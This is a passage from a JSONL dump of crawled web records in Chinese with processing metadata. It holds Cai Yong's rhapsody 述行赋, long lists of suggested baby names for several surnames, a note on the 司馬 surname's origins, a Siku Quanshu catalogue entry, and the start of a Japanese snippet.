0.16673050820827484}","num_words":153,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【原文】\n蔡邕,字伯喈,汉陈留人。此赋为蔡邕受宦官之召到洛阳去弹琴的旅途抒怀之作,走到偃师后以病为辞而返回。\n延熹二年秋,霖雨逾月。是时梁翼新诛,而徐璜、左悺等五侯擅贵于其处。又起显阳苑于城西,人徒冻饿,不得其命者甚众。白马令李云以直言死,鸿胪陈君以救云抵罪。璜以余能鼓琴,白朝廷,敕陈留太守发遣余。到偃师,病比前,得归。心愤此事,遂託所过,述而成赋。\n余有行于京洛兮,遘淫雨之经时。塗邅其蹇连兮,潦汙滞而为灾。乘马蹯而不进兮,心郁悒而愤思。聊弘虑以存古兮,宣幽情而属词。\n夕宿余于大梁兮,诮无忌之称神。哀晋鄙之无辜兮,忿朱亥之篡军。历中牟之旧城兮,憎佛肸之不臣。问甯越之裔胄兮,藐髣髴而无闻。\n经圃田而瞰北境兮,悟卫康之封疆。迄管邑而增感叹兮,愠叔氏之启商。过汉祖之所隘兮,吊纪信于荥阳。\n降虎牢之曲阴兮,路丘墟以盘萦。勤诸侯之远戍兮,侈申子之美城。稔涛塗之愎恶兮,陷夫人以大名。登长坂以淩高兮,陟葱山之荛陉;建抚体以立洪高兮,经万世而不倾。迴峭峻以降阻兮,小阜寥其异形。冈岑纡以连属兮,谿谷夐其杳冥。迫嵯峨以乖邪兮,廓严壑以峥嵘。攒棫朴而杂榛楛兮,被浣濯而罗生。步亹菼与台菌兮,缘层崖而结茎。行游目以南望兮,览太室之威灵。顾大河于北垠兮,瞰洛汭之始并。追刘定之攸仪兮,美伯禹之所营。悼太康之失位兮,愍五子之歌声。\n寻修轨以增举兮,邈悠悠之未央。山风汩以飙涌兮,气慅慅而厉凉。云郁术而四塞兮,雨濛濛而渐唐。仆夫疲而瘁兮,我马虺隤以玄黄。格莽丘而税驾兮,阴曀曀而不阳。\n哀衰周之多故兮,眺濒隈而增感。忿子带之淫逆兮,唁襄王于坛坎。悲宠 嬖之为梗兮,心恻怆而怀惨。\n乘舫州而湍流兮,浮清波以横厉。想宓妃之灵光兮,神幽隐以潜翳。实熊耳之泉液兮,总伊瀍与涧濑。通渠源于京城兮,引职贡乎荒裔。操吴榜其万艘兮,充王府而纳最。济西溪而容与兮,息鞏都而后逝。愍简公之失师兮,疾子朝之为害。\n玄云黯以凝结兮,集零雨之溱溱。路阻败而无轨兮,塗泞溺而难遵。率陵阿以登降兮,赴偃师而释勤。壮田横之奉首兮,义二士之侠坟。淹留以候霁兮,感憂心之殷殷。并日夜而遥思兮,宵不寐以极晨。候风云之体势兮,天牢湍而无文。弥信宿而后阕兮,思逶迤以东运。见阳光之显显兮,怀少弭而有欣。\n命仆夫其就驾兮,吾将往乎京邑。皇家赫而天居兮,万方徂而星集。贵宠 煽以弥炽兮,佥守利而不戢。前车覆而未远兮,后乘驱而竞及。穷变巧于台榭兮,民露处而寝洷。消嘉榖于禽兽 兮,下糠粃而无粒。弘宽裕于便辟兮,纠忠谏其駸急。怀伊吕而黜逐兮,道无因而获人。唐虞渺其既远兮,常俗生于积习 。周道鞠为茂草兮,哀正路之日歰。\n观风化之得失兮,犹纷挐其多远。无亮采以匡世兮,亦何为乎此畿?甘衡门以宁神兮,詠都人而思归。爰结蹤而迴轨兮,复邦族以自绥。\n乱曰:跋涉遐路,艰以阻兮。终其永怀,窘阴雨兮。历观群都,寻前绪兮。\n考之旧闻,厥事举兮。登高斯赋,义有取兮。则善戒恶,岂云苟兮?翩翩独征,无俦与兮。言旋言复,我心胥兮。","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/fcbsxx.cn\/shige\/hanghujd\/53.html","date":"2021-01-22T13:04:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703529331.99\/warc\/CC-MAIN-20210122113332-20210122143332-00791.warc.gz","language":"lzh","language_score":0.4208627343,"language_script":"Hani","minhash_cluster_size":22,"top_langs":"{\"lzh_Hani_score\": 0.42086273431777954, \"cmn_Hani_score\": 0.2053297907114029, \"zxx_Latn_score\": 0.07266052067279816, \"nan_Hani_score\": 0.06390626728534698, \"und_Tang_score\": 0.026120625436306, \"yue_Hani_score\": 0.025177856907248497, \"jpn_Jpan_score\": 0.019838448613882065, \"wuu_Hani_score\": 0.01763341575860977, \"und_Yiii_score\": 0.012821072712540627}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":500.0,"cluster_detection":1} +{"text":"婵盈 燕雅 燕美 茹飞 燕婵 凡雪 岳红 清芬 运馨 绮艳 婵颖 绍红 洁梅 茹霏 茹嘉 凡茹 越红 冬卉 新苗 山槐 婵嬴 明芬 杰梅 茹菲 茹圯 津玲 悦红 晗晗 以晴 野雪 婵莹 怡慧 璐梅 茹非 鹏文 子玲 书丽 莉莉 笑脸 雨筠 娅莉 水玲 秉梅 茹妃 翠婷 庆洁 欣娜 梦旋 睿敏 白竹 福英 军颖 冰梅 茹垒 雪艳 芯媛 雯倩 欣美 秀筠 初翠 憾悦 惠玲 丙梅 茹珍 海艳 颢嫣 芳香 新烟 若淑 夏柳 婵滢 蕙玲 乐梅 茹郭 名丽 津怡 方媛 慕凝 和美 忆之 雅玲 珠萍 缤梅 钰洁 玲琳 昊嫣 引琼 谷之 寒蕾 古韵 禄萍 彦文 仁梅 亚茹 沐瑶 灏嫣 博颖 会欣 彦芝 怀寒 贺英 琰芳 锦梅 茹男 琼梅 诗嫣 芯茹 融雪 晓燕 菁菁 宜婷 宏文 谨梅 茹玉 怀洁 贵文 翎媛 嘉禾 星菱 骊蓉 燕敏 少玲 曙梅 春红 培琳 夜天 若芳 学娟 晴丽 湘茹 秋颖 茵萍 舒梅 茹花 美燕 安定 慧英 干花 如风 曼茹 秀璇 迪文 淑梅 茹涞 沛妍 运虹 婷然 如秀 玮艺 王茹 敏莉 燕凌 殊梅 茹来 宜玲 清俊 倚云 如怡 谷玉 雅茹 昌娟 欣幸 吉玉 田田 半烟 暄妍 艳蕊 亦洁 梦竹 钰颖 跃冉 柏琳 白凝 梦泽 隽美 易蓉 逸云 尔怡 凝蝶 道萍 越冉 浩美 书法艺术 亦绿 小雯 晓昕 安珊 夜春 和美 凡巧 传芳 浩嫣 雅旋 含玉 娅思 罗绮 琼英 晓桐 攸然 淳雅 夜梦 梦菡 之秀 颐真 琳芸 宛秋 怜双 南蕾 尔真 婉丽 宁靖 静芙 颖媛 南风 悦芸 冬萱 问柳 可可 元灵 晨萱 雪绿 思敏 宸悦 雅爱 婧娅 晨蓓 沛容 易巧 月华 清心 珉瑶 凡白 千婵 海伦 黔玲 飞燕 莉莉 从筠 雨安 叶帆 惜萍 小谷 小婵 静逸 怡宁 夏之 子美 绮梅 春冬 傲云 依美 秀颖 三妹 百姓 笑梅 月朗 初阳 湘灵 曼语 亦绿 曼卉 寒香 怡容 晗琴 晓蓉 葛菲 安妮 敏叡 晓兰 秋柏 夏菡 访儿 陈颖 千儿 定英 沉静 吟怀 嘉怡 蓉蓉 清晖 含巧 隽美 道蓉 雁凡 玲玲 子萱 平惠 灵秀 映秋 冰夏 秀隽 雪曼 述芬 夏青 琳玲 晓楠 诗翠 清妍 春翠 青雪 春晓 艳芳 开丽 骊颖 樱洁 语海 如蓉 书萱 慧颖 凌雪 沉静 静娴 宛婷 秋荣 构花 映天 静婉 听芹 梦蕊 天玉 思慧 悦可 成琳 霞飞 如玉 以晴 小宸 明煦 寄蕾 昕月 清韵 映天 安妮 湘君 夏烟 嫣然 雁露 若翠 英秀 凌丝 云蔚 以晴 雁菱 乐怡 泰然 梦槐 媛女 星儿 南烟 新荣 岚翠 嫣然 岚岚 秀梅 嘉玉 璇玑 若雁 清秋 悦可 音悦 忆曼 梦槐 珠雨 盼柳 华芝 绿蝶 英秀 千雁 千凡 叶春 怀柔 璇玑 小巧 霞影 月牙 云英 新儿 柔静 雅安 念巧 觅露 绿蝶 新梅 云臻 彦珺 安珊 梦容 柔绚 幼枫 冷菱 韵宁 云英 夏山 尔烟 晴雪 琼英 冰绿 白亦 云岚 雅艳\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本文系作者授权发表,未经许可,不得转载。","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.sjtuceo.org\/post\/1052.html","date":"2021-03-07T21:20:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178378872.82\/warc\/CC-MAIN-20210307200746-20210307230746-00378.warc.gz","language":"lzh","language_score":0.6374166012,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6374166011810303, \"cmn_Hani_score\": 0.2527383267879486, \"nan_Hani_score\": 0.09063462167978287}","num_words":403,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.327,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":500.0,"cluster_detection":1} +{"text":"底下是小编为你陈列的兔年宋姓女孩名字 ,仅供参考鸡宝宝宋姓起名大全。\n宋芳娜 宋娉婷 宋瞿艳 宋源玲 宋丽颖 宋奕洁 宋书英 宋雪琳 宋浩冉 宋海琼 宋丽文 宋祥艳 宋虹莹 宋婉妹 宋庆梅 宋修玲 宋丽洁 宋莹华 宋欣倩 宋利娜 宋艳艳 宋辉芳 宋小燕 宋子悦 宋妍萱 宋咏红 宋长梅 宋芯萍 宋寨红 宋怡锦 宋瑷莹 宋安颖 宋梅芳 宋冉 宋瑛豪 宋瑛祯 宋瑛卓 宋淑红 宋忆雪 宋晓莹 宋冬娟 宋富倩 宋富莹 宋富颖 宋富秀 宋秋娟 宋富瑶 宋富媛 宋悦宜 宋德萍 宋惠蓉 宋秀晗 宋克文 宋小妞 宋键英 宋新洁 宋珍英 宋国玲 宋曼婷 宋煜文 宋怡如 宋汶娟 宋亚丽 宋楚妍 宋燕波 宋怡怿 宋昭文 宋妍柔 宋妍璇 宋妍谈 宋妍泽 宋妍森 宋妍容 宋妍姿 宋妍和 宋妍妙 宋妍语 宋菊红 宋怡苇 宋妍苇 宋兆婷 宋志艳 宋柳燕 宋真娜 宋蓉芬 宋行文 宋士英 宋燕宁 [本文公有 5 页,姑且是第 1 页]\nCEO风水网:http:\/\/www.sjtuceo.org\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本站内容均来自网路,如有侵权请联系删除!","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.sjtuceo.org\/post\/1168.html","date":"2021-07-27T06:23:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152236.64\/warc\/CC-MAIN-20210727041254-20210727071254-00052.warc.gz","language":"lzh","language_score":0.5954527259,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5954527258872986, \"cmn_Hani_score\": 0.23004786670207977, \"wuu_Hani_score\": 0.13346350193023682, \"nan_Hani_score\": 0.038604527711868286}","num_words":97,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.78,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.爸爸姓薛妈妈姓龙该怎么起明\n薛财浦 薛显区 薛筠瑜 薛稚浩 薛字豪 薛华光 薛木林 薛鸿暄 薛俊美 薛媛倩 薛华芳 薛鸿燕 薛玉英 薛春芳 薛鸿婷 薛艳艳 薛翠英 薛兰花 薛锦萍 薛锦燕 薛忆玥 薛瑾玥 薛晓琴 薛乐妍 薛静妍 薛团萍 薛启丽 薛裴奕 薛丽艳 薛苾莹 薛金萍 薛思媛 薛子莹 薛倩茹 薛贞霞 薛二娜 薛绍梅 薛允娜 薛天妍 薛玫妍 薛燕军 薛理文 薛克文 薛芷琳 薛紫倩 薛长英 薛雯妍 薛怡屺 薛荣军 薛义茗 薛迤苠 薛迤酩 薛国跖 薛贺元 薛冰利 薛雁峰 薛腾接 薛靖岿 薛然岿 薛汉卿 薛存东 薛蔚伟 薛冰洲 薛庆龙 薛浩然 薛嫒源 薛洪增 薛嘉成 薛丽凤 薛雨茺 薛小民 薛钰彤 薛钰心 薛书钰 薛钰采 薛英杰 薛韫晰 薛骁均 薛紫阳 薛建新 薛文中 薛利微 薛小轩 薛小乐 薛名笔 薛宏人 薛显梁 薛小杨 薛红清 薛稚豪 薛兹豪 薛新宁 薛灿宇 薛雨坤 薛鸿轩 薛苍新 薛玉珠 薛丹琳 薛争艳 薛毓蓉 薛钰莹 薛碗丽 薛云文 薛景文 薛丽洁 薛伊娜 薛艳丽 薛鸿莹 薛小英 薛玲珑 薛鸿梅 薛富芳 薛喜玲 薛轵文 薛晓丽 薛锦艳 薛奇玥 薛亦玥 薛怡芳 薛美萍 薛沁妍 薛棋文 薛希裴 薛茹意 薛怡泽 薛雯玉 薛冰莹 薛志梅 薛紫莹 薛茂红 薛润瑶 薛云娟 薛鲜妹 薛婉倩 薛俊芳 薛婷秀 薛燕君 薛海蓉 薛彩霞 薛芝琳 薛舒琳 薛新霞 薛如妍 薛裕洁 薛雯文 薛义民 薛蔼原 薛桂林 薛睦潇 薛超海 薛挞羚 薛奥馨 薛丁雷 薛钰晨 薛程存 薛岚敖 薛智翔 薛保伦 薛嫒原 薛冰晖 薛凯馨 薛雨竹 薛耀庭 薛钰欣 薛钰书 薛钰舒 薛荫名 薛砾咱 薛迎寒 薛荣光 薛李超 薛雨发 薛骄阳 薛建平 薛轩琪 薛子乐 薛名复 薛人宏 薛登銮 薛岚益 薛镕逸 薛植豪 薛孜豪 薛玉华 薛云亮 薛慕林 薛鸿盈 薛金央 薛小珠 薛燕蕾 薛新颖 薛兰英 薛西萍 薛钰颖 薛彩燕 薛婷羽 薛燕青 薛翠花 薛瑞玲 薛鸿颖 薛梅花 薛桂花 薛鸿媛 薛尊文 薛嫣秋 薛锦妍 薛锦玥 薛娇玥 薛依芳 薛瑾琳 薛鸿妍 薛丁娜 薛惠玲 薛茹亿 薛怡昌 薛雯琳 薛琳霞 薛潇妍 薛怡帆 薛淑萍 薛润洁 薛雅娟 薛美红 薛丽莉 薛婷予 薛婉燕 薛妍军 薛采文 薛永玲 薛倩琳 薛秀芳 薛玉婷 薛冰妍 薛正芳 薛晓茹 薛意茗 薛迤茗 薛迤敏 薛蔼源 薛睦垚 薛桂栋 薛胧一 薛智鹜 薛中越 薛衲裂 薛泽民 薛丁晗 薛义凡 薛迪帆 薛炳福 薛瑷原 薛博阳 薛骁睿 薛开心 薛韫远 薛雅轩 薛钰茵 薛钰笑 薛明阳 薛宇轩 薛岚巍 薛紫岿 薛诣馨 薛韵镤 薛玉秀 薛明辉 薛乐平 薛子琪 薛名哲 薛财名 薛鸳鸳 薛知豪 薛紫豪 薛雨欣 薛云良 薛洪泰 薛鸿萱 薛金丹 薛泽雅 薛莉亭 薛乐美 薛方英 薛兴琴 薛宝玥 薛柏玉 薛倩钰 薛雨芳 薛良玉 薛汉英 薛乐萍 薛纪瑛 薛苏霞 薛绮丽 薛玉燕 薛鸿瑶 薛春霞 薛松艳 薛美英 薛梦瑶 薛依玥 薛玥娇 薛锦嫣 薛锦琳 薛莫妍 薛莉莎 薛颖琳 薛俏妞 薛大文 薛茹丹 薛琳峡 薛淑芳 薛灵妍 薛芙蓉 薛曹英 薛毓倩 薛加文 薛淙文 薛可颖 薛安冉 薛靖瑶 薛玉萍 薛会琳 薛蔼琳 薛艳玲 薛风英 薛偲妍 薛景怡 薛广燕 薛迤民 薛国颐 薛菲扬 薛腾笾 薛蕊军 薛鸥崖 薛开元 薛国瑞 薛青云 薛玉鑫 薛明昌 薛瑷源 薛静屏 薛鹏俊 薛镕砾 薛国栋 薛钰潞 薛明鑫 薛凯尧 薛钰述 薛以君 薛圣舆 薛韵识 薛景逸 薛立业 薛敬敬 薛大刚 薛金峰 薛文钧 薛平平 薛小程 薛名谷 薛人允 薛志豪 薛梓豪 薛玉清 薛昌安 薛守爱 薛鸿韵 薛园园 薛梅央 薛媛元 薛灵玥 薛振悦 薛圣玥 薛春美 薛雅文 薛碗婷 薛依婷 薛婧雯 薛丽娟 薛友红 薛雪玲 薛芬芬 薛浩妍 薛映花 薛红霞 薛鸿霞 薛媛烊 薛婷丹 薛羽琴 薛伊玥 薛漪玥 薛腊梅 薛漠妍 薛宪红 薛晓琳 薛婉妍 薛乃文 薛子嫣 薛荟文 薛雅倩 薛俊文 薛雨嫣 薛淑红 薛雨倩 薛文丽 薛会娟 薛莉花 薛筱婷 薛敏莉 薛丁文 薛偲媛 薛凯琳 薛嫒琳 薛晰琳 薛卓裴 薛琳璐 薛玲岩 薛义明 薛国础 薛馨銮 薛煜薪 薛铸寅 薛宝瑞 薛青峰 薛伟伟 薛远超 薛淞畔 薛玉新 薛云轩 薛蔼然 薛小央 薛鹏骏 薛玉峰 薛绮钰 薛馨尧 薛彤尧 薛舒帆 薛韵真 薛宝军 薛会如 薛洪武 薛睿泽 薛文均 薛乐乐 薛胜哉 薛衣寄 薛名铭 薛文铭 薛忠辰 薛自豪 薛致豪 薛喜珍 薛云宇 薛盼盼 薛昊岩 薛小草 薛珍燕 薛家萍 薛燕春 薛晓莉 薛润萍 薛传文 薛怡睿 薛高洁 薛文芳 薛茜文 薛小玲 薛佳芳 薛昊妍 薛成梅 薛姝芳 薛鸿萍 薛江丽 薛婧翊 薛婷婷 薛雨琴 薛非妍 薛凌娟 薛莉娜 薛倩雯 薛澜妍 薛力萍 薛琳姿 薛琦丽 薛郁文 薛婷月 薛海英 薛晟文 薛小雪 薛丽颖 薛彦婷 薛宝怡 薛玥玥 薛茹译 薛天怡 薛铭瑶 薛晶文 薛惠琳 薛彦琳 薛欣琳 薛歆琳 薛列娥 薛燕平 薛斌琼 薛义苠 薛以茗 薛国锐 薛淙潇 薛镫岭 薛佳佳 薛骁砾 薛惠元 薛清云 薛清峰 薛胪寅 薛陆彘 薛煜新 薛云琪 薛佳凝 薛瑷缘 薛剀心 薛春晔 薛昌溶 薛镕忆 薛铭鑫 薛童尧 薛晓京 薛秀杰 薛骁域 薛在德 薛文俊 薛依琪 薛旭淼 薛智心 薛名财 薛林浦 薛林习 薛自浩 薛职豪 薛映豪 薛志宇 薛瑞坡 薛玫瑰 薛博文 薛佳萍 薛琳琳 薛洪梅 薛丽娜 薛立梅 薛碧红 薛延梅 薛海霞 薛亚红 薛世芳 薛荣芳 薛玲娟 薛鸿娜 薛振娟 薛倩岚 薛力文 薛春燕 薛菲妍 薛一玥 薛艺芳 薛秀霞 薛洋妍 薛崴文 薛莉莉 薛琪丽 薛贵琴 薛小艳 薛姿裴 薛丽英 薛慧文 薛子颖 薛丽莹 薛旭芳 薛飞娅 薛蓉慧 薛庆娜 薛裴希 薛茗怡 薛淑莉 薛君芬 薛海琳 薛津琳 薛靖琳 薛飞娥 薛淑娟 薛斌文 薛意明 薛国懋 薛映泽 薛杰仁 薛镣镆 薛小西 薛永祯 薛帧蠡 薛瑞泽 薛复兴 薛帧砾 薛尉伟 薛才华 薛珺月 薛会志 薛瑷园 薛玉生 薛慧峰 薛溶昌 薛人铁 薛剑雨 薛金生 薛钰画 薛钰凯 薛书尧 。","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.mengdao123.com\/k\/46887.html","date":"2022-06-25T16:26:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103036077.8\/warc\/CC-MAIN-20220625160220-20220625190220-00363.warc.gz","language":"lzh","language_score":0.8819876909,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8819876909255981, \"cmn_Hani_score\": 0.056696824729442596, \"nan_Hani_score\": 0.034300804138183594, \"wuu_Hani_score\": 0.023970581591129303}","num_words":616,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.882,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓司馬的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓司馬的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓司馬的好聽的女孩名字!\n姓司馬的好聽的女孩名字\n司馬千瑤 司馬翠花 司馬詩倩 司馬清茹 司馬青茹 司馬芳英 司馬彩艷 司馬妍燁 司馬霞芬 司馬蓉暉 司馬沛妍 司馬婭 司馬高萍 司馬林茹 司馬佳妹 司馬貴艷 司馬雯瑛 司馬胥潔 司馬雪琳 司馬文倩 司馬思婷 司馬花花 司馬灝文 司馬東瑩 司馬雲瑤 司馬春芳 司馬安蓉 司馬金美 司馬羽玲 司馬錄娜 司馬信芳 司馬瑞萍 司馬紅紅 司馬四萍 司馬雅萍 司馬子瑩 司馬娜麗 司馬琳靜 司馬萍萍 司馬欣媛 司馬青萍 司馬輝燕 司馬庭芳 司馬婧敏 司馬連麗 司馬現娟 司馬清文 司馬卓悅 司馬婷鄭 司馬鉑文 司馬美妍 司馬悅平 司馬金花 司馬質文 司馬彥潔 司馬澤文 司馬妍汕 司馬箴玉 司馬露英 司馬昊玲 司馬葙瓊 司馬佩瓊 司馬韶琴 司馬燕溢 司馬陽艷 司馬芬 司馬童瑤 司馬清媛 司馬昕蓉 司馬慶霞 司馬夢秀 司馬麗瓊 司馬萍香 司馬婧瑩 司馬芷悅 司馬廷婷 司馬宜穎 司馬蘊穎 司馬裴旭 司馬學穎 司馬芝美 司馬思瑩 司馬文 司馬玲佳 司馬翠雪 司馬燕妮 司馬春妍 司馬椿燕 司馬鬱瓊 司馬秋霞 司馬秀萍 司馬憶妍 司馬嬋飛 司馬忠艷 司馬韻麗 》》還是沒有找到滿意的名字?不妨問問大師。\n司馬藝媛 司馬芝琳 司馬芳倩 司馬強琳 司馬成瑛 司馬語妍 司馬虹穎 司馬怡堯 司馬蕊穎 司馬蕓婷 司馬明文 司馬秀花 司馬妍萍 司馬麗琴 司馬金萍 司馬瓊芳 司馬羽玲 司馬春紅 司馬杏花 司馬鑫嫣 司馬達琳 司馬沁潔 司馬榮霞 司馬昭琳 司馬迎艷 司馬曉芬 司馬林穎 司馬濱茹 司馬艷琴 司馬信紅 司馬紅雪 司馬悅倩 司馬新麗 司馬儀婷 司馬莉莎 司馬萍莉 司馬冰倩 司馬嫣亭 司馬忱芳 司馬沐瑤 司馬建紅 司馬怡筱 司馬紹娜 司馬國玉 司馬佳茹 司馬葉英 司馬芽婷 司馬賀婷 司馬學怡 司馬曼茹 司馬功芳 司馬師艷 司馬爾文 司馬倩茜 司馬獻紅 司馬泉蓉 司馬銀花 司馬姍燕 司馬蛸紅 司馬舒婧 司馬斐文 司馬倩妮 司馬莉君 司馬藝瑤 司馬秀英 司馬乃霞 司馬蘭娟 司馬曉艷 司馬軍英 司馬玲姣 司馬鳳英 司馬悅薇 司馬靜妍 司馬秀萌 司馬咨雪 司馬愈麗 司馬靖媛 司馬鈺潔 司馬俏麗 司馬肅潔 司馬妍麗 司馬瑤穸 司馬妍談 司馬倩妮 司馬坤梅 司馬思文 司馬昕悅 司馬汐悅 司馬皓玉 司馬欣冉 司馬升梅 司馬春紅 司馬新萍 司馬會玲 司馬嘉娜 司馬瑤 司馬釋文 司馬蘊婷 司馬秀婷 司馬恩文 司馬春芳 司馬風霞 司馬金花 司馬婷卿 司馬惠瑩 司馬艷花 司馬悅琪 司馬平霞 司馬效文 司馬欣茹 司馬婧瑋 司馬鈺琳 司馬於霞 司馬貞媛 司馬銥萍 司馬大婷 司馬芳琳 司馬茹彤 司馬莉 司馬凱芳 司馬金娥 司馬燕妹 司馬文琴 司馬燕珍 司馬華芳 司馬燕鵬 司馬丹怡 司馬華紅 司馬潔瑩 司馬婷兒 司馬悅森 司馬瑩熒 司馬忠艷 司馬文娜 司馬皖婷 司馬博婷 司馬素梅 司馬冬潔 司馬佳文 司馬偉瑤 司馬怡秀 司馬露瑤 司馬俊妍 司馬煜穎 司馬淑潔 司馬莉慧 司馬盡怡 司馬婧瑤 司馬丞悅 司馬燕群 司馬嫣燃 司馬莉佳 司馬開琴 司馬燕芩 司馬佳妍 司馬鳳潔 司馬睿燕 司馬羨紅 司馬思穎 司馬雲玲 司馬大文\n司馬卓霞 司馬文萍 司馬文倩 司馬冬媛 司馬昌穎 司馬林艷 司馬美瑤 司馬秀麗 司馬秋雪 司馬英 司馬夕媛 司馬營紅 司馬天悅 司馬子英 司馬莉卿 司馬海霞 司馬悅盈 司馬含雪 司馬婉穎 司馬冬麗 司馬金妹 司馬桂麗 司馬煜娟 司馬君文 司馬玉 司馬玉紅 司馬媛清 司馬琳兒 司馬中棋 司馬笠志 司馬妍心 司馬倩宜 司馬其倩 司馬薇芬 司馬國紅 司馬婧暢 司馬瑩思 司馬偉英 司馬惠琴 司馬紅 司馬麗花 司馬涵婧 司馬司美 司馬茈怡 司馬辛媛 司馬琪瑤 司馬清梅 司馬聰麗 司馬紀紅 司馬鞠英 司馬習琳 司馬倩秀 司馬艾莉 司馬淑怡 司馬洛怡 司馬楊梅 司馬嫣容 司馬紫妍 司馬淳婧 司馬俊文 司馬艷萍 司馬婷月 司馬琳楚 司馬佟媛 司馬志潔 司馬亞梅 司馬素紅 司馬宇倩 司馬林美 司馬蘭芳 司馬久茹 司馬曉倩 司馬先紅 司馬雁文 司馬芯怡 司馬崇琳 司馬銀艷 司馬玫瓊 司馬怡晴 司馬玲玲 司馬藝穎 司馬怡班 司馬淑文 司馬紅燕 司馬婉怡 司馬冰倩 司馬富媛 司馬佳琳 司馬凱迪 司馬巖祥 司馬夢悅 司馬會娟 司馬書紅 司馬悅輝 司馬依婷 司馬琪婭 司馬淑玲 司馬怡雨 司馬賽麗 司馬秀麗 司馬桂芳 司馬君倩 司馬傢潔 司馬春花 司馬寶玲 司馬冰蓉 司馬嬋珍 司馬泓升 司馬茜 司馬愛 司馬燕卿 司馬視婭 司馬愛美 司馬鴻穎 司馬吣婧 司馬競玲 司馬夢瑩 司馬蘭萍 司馬瀟文 司馬脫穎 司馬影萍 司馬文娜 司馬繼娥 司馬絢琳 司馬蔚娜 司馬婭丁 司馬秀秀 司馬耀霞 司馬秀娜 司馬燕美 司馬嘉文 司馬怡宜 司馬克玲 司馬亞茹 司馬永麗 司馬婧暄 司馬宇瑩 司馬惟霞 司馬斯娜 司馬銀麗 司馬蓉琴 司馬雪娥 司馬汐妍 司馬希美 》》還是沒有找到滿意的名字?不妨問問大師。\n一.姓氏淵源:\n第一個淵源:源於官職,出自西周掌管軍事大權的大臣程伯休父,屬於以官職稱謂為氏。\n上古時有人重黎,為司掌天地之官,唐堯曾撫育重黎之後。周宣王時期,有重黎之後程伯休父,官至司馬,執掌司馬傢軍隊,佐政輔司馬,權勢重大。後來程伯休父克平瞭許方,立下大功,周宣王允許他以官職為姓,其後遂成司馬氏。\n第二個淵源:源於生姓,出自晉朝晉元帝司馬睿,屬於因故改姓為氏,或以官職稱謂改姓為氏。\n該支司馬氏出自晉元帝司馬睿,原本姓生,後因職而改姓司馬,其後代亦成為司馬氏,世代相傳至今。\n第三個淵源:源於改姓,出自姬姓許氏、郝氏改姓,屬於因故改姓為氏。\n許穆之、郝惔之,他們的後代中有人因故改為司馬氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.share4tw.com\/archives\/285577","date":"2017-03-24T14:09:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188132.48\/warc\/CC-MAIN-20170322212948-00663-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.8120452166,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.8120452165603638, \"cmn_Hani_score\": 0.17416192591190338}","num_words":411,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":500.0,"cluster_detection":1} +{"text":"經部十 易類存目四\n易義便覽 三卷\n侍講劉亨地家藏本\n國朝向德星撰。德星字雲路。漵浦人。是書前有乾隆丙寅德星自序。大旨以朱子本義爲主。附採大全蒙引存疑諸說。取初學易於循省。故以便覽爲名。其卷首六十七圖。則德星因舊說而推衍者也。","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0020901.html","date":"2017-07-26T04:45:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549425766.58\/warc\/CC-MAIN-20170726042247-20170726062247-00064.warc.gz","language":"lzh","language_score":0.4658409357,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.4658409357070923, \"cmn_Hani_score\": 0.39391306042671204, \"jpn_Jpan_score\": 0.04821688309311867, \"yue_Hani_score\": 0.028546035289764404, \"wuu_Hani_score\": 0.023087386041879654}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"上から順に。 うむ、趣味がよく反映されていてよろしい。\n蒼龍 龍驤 睦月 鳥海 摩耶 潮 涼風 電 雷 